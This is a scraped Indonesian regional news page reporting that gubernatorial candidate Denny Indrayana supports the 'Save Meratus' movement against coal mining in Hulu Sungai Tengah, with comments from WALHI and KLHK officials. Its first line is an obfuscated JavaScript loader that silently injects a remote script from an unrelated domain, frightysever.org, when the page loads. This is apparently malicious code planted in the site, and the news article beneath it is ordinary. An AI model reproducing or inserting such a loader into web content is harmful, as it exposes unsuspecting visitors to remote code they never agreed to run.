(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sosialiasi di HST, Denny Indrayana Komitmen Save Meratus untuk Jaga Masa Depan Kalsel!


BARABAI, Isu lingkungan menjadi perhatian serius bagi calon gubernur Denny Indrayana. Di sela sosialisasi bersama tim relawan di Pasar Barabai dan sejumlah Usaha Mikro Kecil Menengah (UMKM) di Hulu Sungai Tengah, Rabu (18/12), pakar hukum tata negara ini mengatakan pembangunan tidak boleh berseberangan dengan kelestarian lingkungan.

Ia mengatakan, pola pengambilan keputusan yang lebih peduli terhadap isu lingkungan harus menjadi perspektif pada pembangunan Kalsel ke depan. Sehingga tidak bisa lagi dilakukan dengan dalih investasi bisnis, tetapi mengorbankan sisi lingkungan yang berdampak pada masa depan Kalsel akan datang.

“Pengembangan usaha tambang misalnya, harus benar-benar clear dalam aspek AMDAL dengan mempertimbangkan ruang hidup masyarakat. Ini yang harus diperhatikan. Sehingga gerakan masyarakat di HST, khususnya untuk menyelamatkan Meratus dari pertambangan harus didukung,” katanya.

Mantan Wamenkumham era Presiden SBY ini mengatakan, kajian terhadap aspek bisnis yang bersinggungan dengan lingkungan harus dikaji secara komprehensif. Tidak hanya mendudukkan antara pemerintah, pakar, LSM, tetapi juga masyarakat lokal sebagai pihak terdampak.

Sehingga ada kepastian hukum, yang nantinya juga akan menjamin orang berinvestasi secara nyaman tanpa berbenturan masalah-masalah perizinan ataupun kepentingan publik.

“Jika dari analisa baik dari sisi AMDAL dan lainnya merugikan, maka tentunya harus di tolak. Dan ini menjadi keputusan yang diambil secara profesional dan onyektif,” ungkapnya.

Denny mengatakan, isu lingkungan patut menjadi pertimbangan karena selama ini HST menjadi salah satu daerah yang rawan. Di antaranya akibat banjir. Ia mengatakan, saat ini pun perlu dipikirkan secara jangka panjang bagaimana agar HST dan daerah daerah lain bisa terhindar dari banjir yang hampir setiap tahun terjadi.

“Misalnya saja, untuk membuat bendungan yang bisa menampung air sekaligus sebagai irigasi yang bisa menguntungkan masyarakat. Sebab saat ini volume sungai di barabai hanya mampu menampung air 90 meter kubik perdetik. Sedangkan air hujan yang turun bisa mencapai 250 meter kubik per detik,” ungkapnya.

Sebagaimana diketahui, isu save Meratus memang menjadi gerakan masyarakat HST. Walhi bersama pemerintah setempat, dan juga mahasiswa getol mengampanyekan penolakan atas tambang di kawadan meratus. Direktur Eksekutif Nasional WALHI Nur Hidayati mengatakan bahwa Meratus merupakan wilayah ekosistem esensial yang penting untuk Kalsel, karena di Meratus merupakan lokasi dari sumber air, keanekaragaman hayati, hingga tempat hidup masyarakat adat Dayak Meratus.

Meratus saat ini sedang terancam, ungkap Nur Hidayati. Saat ini, Kementerian ESDM sudah memberikan izin tambang di kawasan Meratus. Hal inilah yang coba digugat oleh Walhi. Sekarang, gugatan ini sedang dalam proses kasasi di Mahkamah Agung.

Sementara itu pemerintah HST menolak perizinan tambang ini. Sehingga terjadi ketidaksinkronan antara pemerintah pusat dan pemerintah daerah. Katanya beberapa waktu lalu dalam keagiatan Temu Wicara Kenal Medan atau TWKM adalah pertemuan rutin Mahasiswa Pecinta Alam seluruh Indonesia.

Badan Penyuluhan dan Pengembangan SDM KLHK melalui Sekretaris BP2SDM, KLHK, Surayatna mengatakan Meratus merupakan kawasan yang rentan terhadap ancaman banjir hingga longsor karena tokografinya tajam. Sehingga dari sisi kemampuan lahan, tidaklah cocok untuk pertanian ekstensif dan tambang.

Pun Direktur Eksekutif Walhi Kalsel, Kisworo Dwi Cahyono mengatakan, komitmen bagaimana menjaga keselamatan lingkungan dan masyarakat luas dalam konteks lingkungan hidup. Saat ini, komitmen Pemkab HST untuk menjaga Pegunungan Meratus tengah diuji dengan hadirnya izin eksploitasi tambang milik PT Mantimin Coal Mining (MCM) yang ingin menyasar wilayah konsesi Blok Batu Tangga.

Sedangkan, Pemkab HST punya beberapa regulasi anti tambang hingga tahun 2025 dan perkebunan sawit melalui Perda Nomor 5 Tahun 2016 tentang Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Kabupaten HST periode 2016-2021 dan aturan lainnya.(rls)

Reporter : Rls
Editor : Chell


Desy Arfianty

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

15 menit ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

4 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

13 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

13 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

15 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

16 jam ago

This website uses cookies.